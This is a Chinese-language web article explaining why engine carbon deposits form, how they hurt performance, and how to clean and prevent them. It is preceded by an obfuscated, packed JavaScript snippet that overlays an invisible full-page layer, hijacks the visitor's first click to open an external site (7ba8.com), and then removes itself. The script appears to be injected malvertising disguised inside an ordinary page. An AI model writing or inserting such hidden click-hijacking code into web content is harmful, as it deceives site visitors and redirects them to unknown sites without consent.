<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>
相信有多年开车经验的朋友们一定多多少少都会觉得车子开久了会觉得性能没有新车时来的好，并出现加速无力、油耗增加或引擎产生抖动等，其实造成这种问题的原因很多，而引擎积碳就是其中之一。
为什么会产生绩碳？
主要是因为汽油是由原油提炼而来的，汽油本身内含有胶质，在引擎的燃烧过程中，由于燃烧温度高，油气停留的时间很短，因此会有部分气化和燃烧不完全的物质会堆积在喷油嘴、进气阀门、活塞、火星塞和燃烧室中。此外，机油的油气在透过进气歧管导入燃烧室再利用时，其高黏度的油气会与空气中的灰尘相结合附着在进气歧管与燃烧室内，经高温燃烧下也会形成积碳。
当日子久了，喷油嘴和气门的积碳过多后会造成喷入汽缸的燃油雾化不佳，而在进气阀门上的积碳和胶质会吸附部分气油，使得进入汽缸的混合气浓度变稀，导致引擎工作不良，出现启动困难、怠速不稳、加速变慢、油耗增多等现象。如果再严重一点会造成 汽门封闭不完全，导致气缸没有缸压而无法运作，或是粘住气门使气门无法运作，影响到活塞与进排气门之间的动作导致引擎损坏。
而燃烧室的积碳主因是因为气油中的胶质和无法完全燃烧的碳氢化合物在爆炸后所产生的一些微小碳粒子没有排出大气而堆积在燃烧室内，燃烧室内的积碳会结合油气中的过氧化物，使燃烧过程产生不均匀，如果燃烧室内的积碳太严重会造成燃烧室内的温度升高，使混合气自行引爆而造成爆震（Knocking），如果严重时会导致引擎内部机件磨损。
要如何清除积碳及减少积碳的产生？
在一般的汽车百货里都有贩卖许多清积碳的药剂，想自己动作为爱车清积碳的朋友可以卖来自己DIY，另外也有添加在汽油里的除碳剂可帮车主节省时间，而怕买了除碳药剂自己会清不干净或是怕麻烦的人可以回原厂或是常去的保养厂做清除积碳的服务。如果车龄较高的话请回保养厂做专业的清理服务，这样会清洁的效果较佳。
介绍几个减少和预防积碳产生的方法：一. 使用高质量的汽油。二. 不要长时间怠速。三. 不要时常猛踩油门。 四.爬坡时尽量使用低速档，避免供油过多。五. 按时定期保养车子。 六. 可以的话每2万至4万公里左右对容易积碳的部位做一次清积碳的动作。 |
收藏